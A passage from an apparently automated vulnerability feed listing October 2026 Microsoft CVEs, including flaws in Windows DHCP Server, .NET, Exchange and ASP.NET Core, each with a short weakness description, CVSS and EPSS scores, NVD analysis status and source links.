CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97801).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97801&date=2026-10-25).
Sources:
NVD CVE-2026-97801: https://nvd.nist.gov/vuln/detail/CVE-2026-97801
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97801&date=2026-10-25
Improper validation of specified type of input in .NET Framework allows an unauthorized attacker to perform tampering over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authentication for critical function in Windows Health and Optimized Experiences Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85884
Missing authentication for critical function in Windows Health and Optimized Experiences Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Missing authentication for critical function in Windows Health and Optimized Experiences Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85884).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85884&date=2026-10-25).
Sources:
NVD CVE-2026-85884: https://nvd.nist.gov/vuln/detail/CVE-2026-85884
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85884&date=2026-10-25
Missing authentication for critical function in Windows Health and Optimized Experiences Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Null pointer dereference in Windows DHCP Server allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-83665
Null pointer dereference in Windows DHCP Server allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Null pointer dereference in Windows DHCP Server allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83665).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83665&date=2026-10-25).
Sources:
NVD CVE-2026-83665: https://nvd.nist.gov/vuln/detail/CVE-2026-83665
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83665&date=2026-10-25
Null pointer dereference in Windows DHCP Server allows an unauthorized attacker to deny service over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Exchange Server allows an unauthorized attacker to perform spoofing over a...
https://kevwire.com/record/CVE-2026-70279
Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Exchange Server allows an unauthorized attacker to perform spoofing over a... (Oct 13, 2026).
Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Exchange Server allows an unauthorized attacker to perform spoofing over a network.
CVSS 9.3 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70279).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70279&date=2026-10-25).
Sources:
NVD CVE-2026-70279: https://nvd.nist.gov/vuln/detail/CVE-2026-70279
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70279&date=2026-10-25
Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Exchange Server allows an unauthorized attacker to perform spoofing over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deadlock in ASP.NET Core allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-70186
Deadlock in ASP.NET Core allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Deadlock in ASP.NET Core allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70186).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70186&date=2026-10-25).
Sources:
NVD CVE-2026-70186: https://nvd.nist.gov/vuln/detail/CVE-2026-70186
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70186&date=2026-10-25
Deadlock in ASP.NET Core allows an unauthorized attacker to deny service over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-70181
Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70181).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70181&date=2026-10-25).
Sources:
NVD CVE-2026-70181: https://nvd.nist.gov/vuln/detail/CVE-2026-70181
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70181&date=2026-10-25
Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Microsoft Azure Attestation service and Device Health Attestation Service allows an unauthorized attacker to disclose information over a network.
https://kevwire.com/record/CVE-2026-69577
Out-of-bounds read in Microsoft Azure Attestation service and Device Health Attestation Service allows an unauthorized attacker to disclose information over a network. (Oct 13, 2026).
Out-of-bounds read in Microsoft Azure Attestation service and Device Health Attestation Service allows an unauthorized attacker to disclose information over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69577).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69577&date=2026-10-25).
Sources:
NVD CVE-2026-69577: https://nvd.nist.gov/vuln/detail/CVE-2026-69577
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69577&date=2026-10-25
Out-of-bounds read in Microsoft Azure Attestation service and Device Health Attestation Service allows an unauthorized attacker to disclose information over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Microsoft Azure Attestation service and Device Health Attestation Service allows an unauthorized attacker to disclose information over a network.
https://kevwire.com/record/CVE-2026-69454
Out-of-bounds read in Microsoft Azure Attestation service and Device Health Attestation Service allows an unauthorized attacker to disclose information over a network. (Oct 13, 2026).
Out-of-bounds read in Microsoft Azure Attestation service and Device Health Attestation Service allows an unauthorized attacker to disclose information over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69454).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69454&date=2026-10-25).
Sources:
NVD CVE-2026-69454: https://nvd.nist.gov/vuln/detail/CVE-2026-69454
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69454&date=2026-10-25
Out-of-bounds read in Microsoft Azure Attestation service and Device Health Attestation Service allows an unauthorized attacker to disclose information over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of special elements used in a command ('command injection') in Visual Studio Code allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69370
Improper neutralization of special elements used in a command ('command injection') in Visual Studio Code allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Improper neutralization of special elements used in a command ('command injection') in Visual Studio Code allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69370).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69370&date=2026-10-25).
Sources:
NVD CVE-2026-69370: https://nvd.nist.gov/vuln/detail/CVE-2026-69370
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69370&date=2026-10-25
Improper neutralization of special elements used in a command ('command injection') in Visual Studio Code allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Microsoft Windows Codecs Library allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108400
Integer overflow or wraparound in Microsoft Windows Codecs Library allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Integer overflow or wraparound in Microsoft Windows Codecs Library allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108400).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108400&date=2026-10-25).
Sources:
NVD CVE-2026-108400: https://nvd.nist.gov/vuln/detail/CVE-2026-108400
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108400&date=2026-10-25
Integer overflow or wraparound in Microsoft Windows Codecs Library allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted search path in .NET Framework allows an authorized attacker to bypass a security feature locally.
https://kevwire.com/record/CVE-2026-108398
Untrusted search path in .NET Framework allows an authorized attacker to bypass a security feature locally. (Oct 13, 2026).
Untrusted search path in .NET Framework allows an authorized attacker to bypass a security feature locally.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108398).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108398&date=2026-10-25).
Sources:
NVD CVE-2026-108398: https://nvd.nist.gov/vuln/detail/CVE-2026-108398
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108398&date=2026-10-25
Untrusted search path in .NET Framework allows an authorized attacker to bypass a security feature locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Autopilot allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-108134
Use after free in Windows Autopilot allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Autopilot allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108134).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108134&date=2026-10-25).
Sources:
NVD CVE-2026-108134: https://nvd.nist.gov/vuln/detail/CVE-2026-108134
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108134&date=2026-10-25
Use after free in Windows Autopilot allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Release of invalid pointer or reference in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-108133
Release of invalid pointer or reference in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Release of invalid pointer or reference in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108133).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108133&date=2026-10-25).
Sources:
NVD CVE-2026-108133: https://nvd.nist.gov/vuln/detail/CVE-2026-108133
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108133&date=2026-10-25
Release of invalid pointer or reference in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-108130
Heap-based buffer overflow in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108130).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108130&date=2026-10-25).
Sources:
NVD CVE-2026-108130: https://nvd.nist.gov/vuln/detail/CVE-2026-108130
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108130&date=2026-10-25
Heap-based buffer overflow in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper authentication in Dynamics Business Central allows an unauthorized attacker to disclose information over a network.
https://kevwire.com/record/CVE-2026-105728
Improper authentication in Dynamics Business Central allows an unauthorized attacker to disclose information over a network. (Oct 13, 2026).
Improper authentication in Dynamics Business Central allows an unauthorized attacker to disclose information over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105728).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105728&date=2026-10-25).
Sources:
NVD CVE-2026-105728: https://nvd.nist.gov/vuln/detail/CVE-2026-105728
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105728&date=2026-10-25
Improper authentication in Dynamics Business Central allows an unauthorized attacker to disclose information over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Insecure default variable initialization in Microsoft QUIC allows an unauthorized attacker to bypass a security feature over a network.
https://kevwire.com/record/CVE-2026-103577
Insecure default variable initialization in Microsoft QUIC allows an unauthorized attacker to bypass a security feature over a network. (Oct 13, 2026).
Insecure default variable initialization in Microsoft QUIC allows an unauthorized attacker to bypass a security feature over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103577).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103577&date=2026-10-25).
Sources:
NVD CVE-2026-103577: https://nvd.nist.gov/vuln/detail/CVE-2026-103577
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103577&date=2026-10-25
Insecure default variable initialization in Microsoft QUIC allows an unauthorized attacker to bypass a security feature over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70118
Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70118).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70118&date=2026-10-25).
Sources:
NVD CVE-2026-70118: https://nvd.nist.gov/vuln/detail/CVE-2026-70118
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70118&date=2026-10-25
Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70115
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70115).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70115&date=2026-10-25).
Sources:
NVD CVE-2026-70115: https://nvd.nist.gov/vuln/detail/CVE-2026-70115
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70115&date=2026-10-25
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Windows DHCP Server allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70069
Stack-based buffer overflow in Windows DHCP Server allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Stack-based buffer overflow in Windows DHCP Server allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70069).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70069&date=2026-10-25).
Sources:
NVD CVE-2026-70069: https://nvd.nist.gov/vuln/detail/CVE-2026-70069
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70069&date=2026-10-25
Stack-based buffer overflow in Windows DHCP Server allows an authorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows DHCP Server allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70066
Use after free in Windows DHCP Server allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows DHCP Server allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70066).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70066&date=2026-10-25).
Sources:
NVD CVE-2026-70066: https://nvd.nist.gov/vuln/detail/CVE-2026-70066
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70066&date=2026-10-25
Use after free in Windows DHCP Server allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds write in Windows DHCP Server allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70058
Out-of-bounds write in Windows DHCP Server allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds write in Windows DHCP Server allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70058).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70058&date=2026-10-25).
Sources:
NVD CVE-2026-70058: https://nvd.nist.gov/vuln/detail/CVE-2026-70058
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70058&date=2026-10-25
Out-of-bounds write in Windows DHCP Server allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Windows PowerShell allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-70052
Integer overflow or wraparound in Windows PowerShell allows an authorized attacker to execute code locally. (Oct 13, 2026).
Integer overflow or wraparound in Windows PowerShell allows an authorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70052).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70052&date=2026-10-25).
Sources:
NVD CVE-2026-70052: https://nvd.nist.gov/vuln/detail/CVE-2026-70052
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70052&date=2026-10-25
Integer overflow or wraparound in Windows PowerShell allows an authorized attacker to execute code locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Configuration Manager allows an authorized attacker to elevate privileges over an...
https://kevwire.com/record/CVE-2026-70049
Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Configuration Manager allows an authorized attacker to elevate privileges over an... (Oct 13, 2026).
Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Configuration Manager allows an authorized attacker to elevate privileges over an adjacent network.
CVSS 8.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70049).
EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70049&date=2026-10-25).
Sources:
NVD CVE-2026-70049: https://nvd.nist.gov/vuln/detail/CVE-2026-70049
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70049&date=2026-10-25
Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Configuration Manager allows an authorized attacker to elevate privileges over an adjacent network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows DHCP Server allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69830
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows DHCP Server allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows DHCP Server allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69830).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69830&date=2026-10-25).
Sources:
NVD CVE-2026-69830: https://nvd.nist.gov/vuln/detail/CVE-2026-69830
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69830&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows DHCP Server allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
